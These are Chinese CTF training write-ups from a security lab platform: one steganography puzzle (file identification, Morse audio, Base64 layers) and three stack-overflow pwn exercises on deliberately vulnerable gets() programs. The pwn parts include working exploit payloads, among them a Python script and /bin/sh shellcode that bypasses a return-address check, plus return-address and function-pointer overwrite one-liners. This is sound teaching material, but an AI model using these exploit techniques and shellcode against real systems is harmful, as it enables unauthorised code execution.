你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候,工具是很重要的,接下来介绍一些工具。 1、TrID TrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具,但是大多数都是使用硬编码的识别规则,而TrID则没有固定的匹配规则,TrID具有灵活的可扩展性,可以通过训练来进行文件类型的快速识别。 TrID通过附加的文件类型指纹数据库来进行匹配,可用于取证分析、未知文件识别等用途。 2、Audacity Audacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的,有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。 这个实验还需要了解一些摩尔斯电码。 摩尔斯电码(Morse Code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。 摩斯码使用点(.)和横线(-)来表示各种字符,我们只需要知道某一串字符是摩斯码,然后使用解码工具进行解码即可。 实验内容和步骤 本次实验链接地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121211151300001 来看实验描述:在实验主机上的C:\Stegano\1目录下为本题所提供的文件,请对这些文件进行分析,找到一个flag{XXXX}形式的Flag字符串。 来看实验打开cmd命令行,切换到C:\Stegano\1目录,然后使用TrID对其进行文件类型识别,如图所示: TrID对该文件的识别结果为:85.7%的可能性为XZ文件,14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件,因此可以使用7Zip进行解压(实验机器已经安装7Zip,右键选择通过7Zip解压即可)。 解压之后我们得到新文件hello_forensics~,仍然是一个没有扩展名的文件,我们再次使用TrID进行识别,得到的结果如图所示: TrID认为这是一个OGG文件。OGG是一种音频文件格式,大家如果平时有留意的话,在手机上一定见过这样的文件,许多手机内置的音效就是以OGG文件格式存在的。 接下来就是要用到我之前提到的Audacity,使用桌面上的Audacity工具打开我们提取出来的OGG文件,默认会显示音频文件左右两个声道的波形图,如图所示: 按住键盘左下角的Ctrl按键,同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作,这里我们将波形图进行放大,然后播放OGG文件,我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音,实际上这里是播放的摩斯码,通过对声道的波形图观察,可以看到如下的特征:(实验时可能无法通过远程桌面听到实验机器发出的声音,因此这里提供原始题目文件以及相关工具的下载,地址为http://heetian.qiniudn.com/steg.txt,大家可以下载下来在本地测试) 在Audacity中,将波形图放得越大,就越能明显的看到对应的摩斯码特征,通过对声音波形图的分析,我们可以得到摩斯码(摩斯码从第18秒开始播放,如果两段“滴滴”声之间的时间间隔在7~8秒左右,则认为是两个不同的摩斯码之间的分隔,用空格表示,如果两段“滴滴”声之间的时间间隔在2~3秒左右,则认为是同一个摩斯码的内容)。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串ASTARISBOARN。 通过实验步得到字符串ASTARISBOARN,将其当做密码对压缩包进行解压测试,发现可以成功解压,得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息,但是对其中的文字进行选择操作的时候,发现页眉和页脚中似乎有一些不可见的文字,如图所示: 这里我们通过Ctrl+A对其中的文本进行全选,然后粘贴到记事本里面去,得到两个可疑的字符串: VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtd zJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9 我们解密一下,将两个字符串拼接起来后进行Base64解码,得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=,仍然是Base64加密,经过这样的几次Base64解码之后,最后得到字符串flag{f0ren5ic5_is_fun!},这就是题目所要求要找的Flag字符串了。 CTF真是防不胜防,还顺便了解一下摩尔斯电码。这次实验真的是很有意思,解题过程比较简单,但是思路很重要。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF PWN练习之绕过返回地址限制
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  先介绍一些这个实验要知道的一些东西 builtin_return_address函数 builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。还有多层跳转retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110316261100001 先仔细看一下题目描述。主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh: \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81 请对pwn7程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。 因为这个题目直接覆盖返回地址跳转到Shellcode执行是不行的,程序队返回地址进行了一点限制,学会绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。所以看上去会难一些 我们先进行代码审计。 使用cd /home/test/7切换到程序所在目录,执行cat pwn7.c即可看到源代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if ((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char** argv) { getpath(); return 0; } getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。 执行gdb pwn7即可开始通过gdb对pwn7进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。 类似实验《CTF PWN练习之返回地址覆盖》,我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数: 上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有: 0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。 也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。 这里采用两次跳转的方法来突破这个限制。我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为: 0x080484e9 <+117>: ret 那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的: 在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。 同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下: 在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下: shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" + "\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff" + "\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69" + "\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81") print 'A'*80 + '\xe9\x84\x04\x08' + '\xc4\xd6\xff\xff' + shellcode 在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程: PWN练习还是很有难度的,总的来说比之前接触的实验上了一个档次,不过话说回来,咱们有关PWN题型的练习也告一段落了,接下来要开始接触新的知识了。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之返回地址覆盖
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式。 学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型。 函数调用约定 函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。 通过前面几个PWN系列实验的学习,我们可以发现在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的: push %ebp mov %esp,%ebp ...... leave ret 在函数大开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov %esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop %ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。 如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int arg3),那么函数A中的调用函数B时的汇编指令的形式如下: push arg3 push arg2 push arg1 call B 连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。 call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。 基本的缓冲区溢出攻击模型 基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。 1. 实验内容和步骤 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409173900001。 做实验前先好好审题,看一下描述。 主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息: Congratulations, you pwned it. 请对pwn5程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出成功的提示信息。 使用cd /home/test/5切换到程序所在目录,执行cat pwn5.c即可看到源代码: #include <stdio.h> void win() { printf("Congratulations, you pwned it.\n"); } int main(int argc, char** argv) { char buffer[64]; gets(buffer); // 存在缓冲区溢出 return 0; } 程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。 gets(buffer)这个溢出太明显了,问题就是不知道我们要输入多少位才能溢出。 执行gdb pwn5即可开始通过gdb对pwn5进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可: 我们首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b *0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下,如下图所示: 这时候运行i r $esp来查看esp寄存器的值,通过前面对函数调用约定的分析,我们知道这时候栈顶存储的就是返回地址,这时候esp寄存器的值为0xffffd6cc。 在gdb中输入c命令让程序继续执行,将在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r $eax来查看buffer的地址: 我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示: 也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。 在gdb中执行disas win查看win函数的地址为0x080483e4,接下来就可以构造输入数据来发起溢出攻击了。 我们只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。 现在win函数的地址为0x080483e4,转换为小端格式是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试: python -c "print 'A'*76+'\xe4\x83\x04\x08'" | ./pwn5 攻击效果如下图所示: 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF PWN练习之函数指针改写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  先介绍工具吧! 使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。  本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.  本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409162800001(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。  1.实验内容和步骤 大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息: calling function pointer, jumping to 0x41414141 Segmentation fault 当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息: calling function pointer, jumping to 0xXXXXXXXX Congratulations, you pwned it. 请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。  开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码: #include <stdio.h> #include <string.h>  typedef void (* func)();  void win()// 输出 成功提示信息的函数 {     printf("Congratulations, you pwned it.\n"); }  int main(int argc,  char** argv) {     func fp;     char buffer[64];      fp = NULL;     gets(buffer);  // 可引发缓冲区溢出      if (fp)    // 判断函数指针变量fp是否不为NULL     {         printf("calling function pointer, jumping to 0x%08X\n",  fp);         fp();  // 调用 fp     }     return 0; } 程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。  继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:   大东:下面是对main函数中的汇编代码的解释:    0x08048428 <+0>:      push   %ebp    0x08048429 <+1>:      mov    %esp,%ebp    0x0804842b <+3>:      and    $0xfffffff0,%esp    ; 在栈上开辟0x60字节的空间    0x0804842e <+6>:      sub    $0x60,%esp    ; 初始化fp的值为NULL,其中fp位于[esp+0x5c]    0x08048431 <+9>:      movl   $0x0,0x5c(%esp)    ; 执行gets(buffer),其中buffer位于[esp+0x1c]    0x08048439 <+17>:     lea    0x1c(%esp),%eax    0x0804843d <+21>:     mov    %eax,(%esp)    0x08048440 <+24>:     call   0x8048320 < gets@plt>    ; 判断fp是否为NULL    0x08048445 <+29>:     cmpl   $0x0,0x5c(%esp)    0x0804844a <+34>:     je     0x8048467 < main+63>    0x0804844c <+36>:     mov    $0x8048554,%eax    0x08048451 <+41>:     mov    0x5c(%esp),%edx    0x08048455 <+45>:     mov    %edx,0x4(%esp)    0x08048459 <+49>:     mov    %eax,(%esp)    0x0804845c <+52>:     call   0x8048340 < printf@plt>    ; 执行fp()    0x08048461 <+57>:     mov    0x5c(%esp),%eax    0x08048465 <+61>:     call   *%eax    0x08048467 <+63>:     mov    $0x0,%eax    0x0804846c <+68>:     leave    0x0804846d <+69>:     ret 通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c = 0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。  通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:   可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了: python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4 攻击效果如下图所示:   PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析。 想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!